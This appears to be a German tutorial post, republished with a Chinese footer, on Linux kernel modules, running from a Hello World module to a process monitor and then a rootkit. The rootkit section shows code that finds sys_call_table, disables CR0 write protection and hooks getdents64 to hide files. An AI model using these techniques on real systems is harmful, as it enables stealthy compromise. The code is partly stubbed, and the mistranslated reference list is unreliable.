Hey Leute! Heute werde ich Sie durch LKMs (Loadable Kernel Modules) führen – von einem einfachen „Hello World“-Modul bis hin zur Erstellung eines LKM-Rootkits. Wenn Sie dies hilfreich finden, können Sie es gerne weitergeben. Vielen Dank im Voraus an alle, die bis zum Ende gelesen haben. Den gesamten Code und die Referenzen finden Sie unten im Beitrag verlinkt. Schauen Sie sich also unbedingt die Quellen an. Vertrauen Sie mir, wenn Sie sich damit befassen und den Code ändern, werden Sie wirklich mehr erfahren. Aber Vorsicht: Ein Teil des Codes steht unter der GPL 3-Lizenz, also stellen Sie sicher, dass Sie die Bedingungen kennen.
Was Sie brauchen:
linux-headers-generic
Ein C-Compiler (ich empfehle GCC oder cc)
Inhaltsverzeichnis:
LKMs sind ladbare Kernelmodule, die dem Linux-Kernel dabei helfen, seine Funktionalität zu erweitern – etwa das Hinzufügen von Treibern für Hardware, ohne dass der gesamte Kernel neu kompiliert werden muss. Sie eignen sich perfekt für Gerätetreiber (wie Soundkarten), Dateisysteme usw. Jedes LKM benötigt mindestens diese beiden Grundfunktionen:
static int __init module_init(void) { return 0; } static void __exit module_exit(void) { }
Hier ist ein supereinfaches Makefile zum Kompilieren Ihres Moduls:
obj-m := example.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) all: $(MAKE) -C $(KDIR) M=$(PWD) modules clean: $(MAKE) -C $(KDIR) M=$(PWD) clean
Sie können die in den Kernel geladenen Module mit dem Befehl lsmod sehen. Es überprüft die Informationen in /proc/modules. Module identifizieren den Kernel normalerweise durch Aliase wie diesen:
alias char-major-10–30 softdog
Dadurch wird modprobe mitgeteilt, dass das Modul softdog.o geladen werden soll, und es prüft /lib/modules/version/modules.dep auf Abhängigkeiten, die durch die Ausführung von depmod -a erstellt wurden.
So erstellen Sie ein supereinfaches „Hello World“-Modul:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> static int __init hello_init(void) { printk(KERN_INFO "<1>Hello World\n"); return 0; } static void __exit hello_exit(void) { printk(KERN_INFO"<1> Bye bye!"); } module_init(hello_init); module_exit(hello_exit); MODULE_AUTHOR("BrunoCiccarino"); MODULE_LICENSE("GPL");
Es gab im Laufe der Zeit einige ziemlich bedeutende Änderungen an LKMs, also lasst uns sie nach Linux-Kernelversion aufschlüsseln:
Kernel 2.x (bis 2.6):
Anfängliche Unterstützung für dynamisches Laden und Entladen von LKM.
Bessere Debugging-Tools (OOPS, PANIC).
Kernel 2.6.x:
Einführung von udev für eine bessere Geräteverwaltung.
Präventiver Kernel für schnellere Reaktionszeiten.
Die Native Posix Thread Library (NPTL) verbessert die Handhabung von Multithread-Prozessen.
Kernel 3.x:
Unterstützung für Namespaces, Verbesserung von Containertechnologien wie Docker.
Verbesserungen des Dateisystems und des GPU-Treibers.
Kernel 4.x:
Kernel-Sicherheit wird mit KASLR erhöht.
Bessere Containerunterstützung (Cgroups, Namespaces).
Neue Hardware-Unterstützung.
Kernel 5.x:
Bessere Dateisystemverschlüsselung und Live-Patching.
Erweiterung von BPF über reine Netzwerke hinaus.
Bessere RISC-V- und ARM-Unterstützung.
Kernel 5.7:
Wichtige Änderung: Die Syscall-Tabelle (sys_call_table) ist aus Sicherheitsgründen weniger zugänglich. Module, die die Systemaufruftabelle ändern mussten, mussten angepasst werden.
Kernel 6.x:
Rust-Sprachunterstützung für eine sicherere Kernel-Modulentwicklung.
Verbesserungen bei Sicherheit und Isolierung, mit Schwerpunkt auf Energieeffizienz für mobile Geräte.
In Linux 5.7 wurden Änderungen vorgenommen, um die Systemaufruftabelle zu schützen. Es ist jetzt schreibgeschützt und nicht leicht zugänglich, was ein großer Sicherheitsgewinn ist, für legitime Module, die darauf angewiesen sind, jedoch komplizierte Dinge bedeutet. Wenn Sie kprobes.h verwenden würden, um die sys_call_table zu finden, benötigen Sie eine neue Strategie. Jetzt können Sie es aufgrund von Schutzmaßnahmen wie dem Schreibschutz (WP) nicht direkt ändern.
Dies ist ein Modul, das Prozesse im Kernel überwacht, indem es mithilfe eines Timers regelmäßig Überprüfungen durchführt (z. B. alle 2 Sekunden). Es überwacht Dinge wie Prozesserstellung und -beendigung, Dateizugriff und Netzwerknutzung.
Hier ist ein bisschen Code, um Ihnen den Einstieg zu erleichtern:
#include <linux/module.h> #include <linux/sched.h> #include <linux/timer.h> #include <linux/cred.h> static struct timer_list procmonitor_timer; static void procmonitor_check_proc_tree(unsigned long unused) { struct task_struct *task; for_each_process(task) printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid); mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000)); } static int __init procmonitor_init(void) { setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0); mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200)); return 0; } static void __exit procmonitor_exit(void) { del_timer_sync(&procmonitor_timer); } module_init(procmonitor_init); module_exit(procmonitor_exit);
Rootkits sind im Grunde bösartige Module, die Systemaufrufe kapern, um Malware zu verbergen. Hier erfahren Sie, wie sie sich in die Systemaufruftabelle einbinden und ihr Verhalten ändern.
Zuerst müssen Sie die Systemaufruftabelle finden:
unsigned long *find_syscall_table(void) { typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); return (unsigned long*)kallsyms_lookup_name("sys_call_table"); }
Dann können Sie den Schutz des Speichers aufheben, in dem sich die Systemaufruftabelle befindet:
static inline void unprotect_memory(void) { write_cr0_forced(cr0 & ~0x00010000); }
Danach ersetzen Sie die ursprüngliche Funktion durch Ihren Hook:
static int __init ghost_init(void) { __syscall_table = find_syscall_table(); if (!__syscall_table) return -1; cr0 = read_cr0(); orig_getdents64 = (void *)__syscall_table[MY_NR_getdents]; unprotect_memory(); __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64; protect_memory(); return 0; }
Die Hook-Funktion fängt Dateien ab und versteckt sie:
asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) { int ret = orig_getdents64(fd, dirp, count); // Intercept the syscall here... return ret; }
駭客的選擇
elinux
內核br
xcellerator
lkmpg
愛貓人士
我的rootkit
二嗎啡
以上是LKM Addict,學習 lkm 的基礎知識的詳細內容。更多資訊請關注PHP中文網其他相關文章!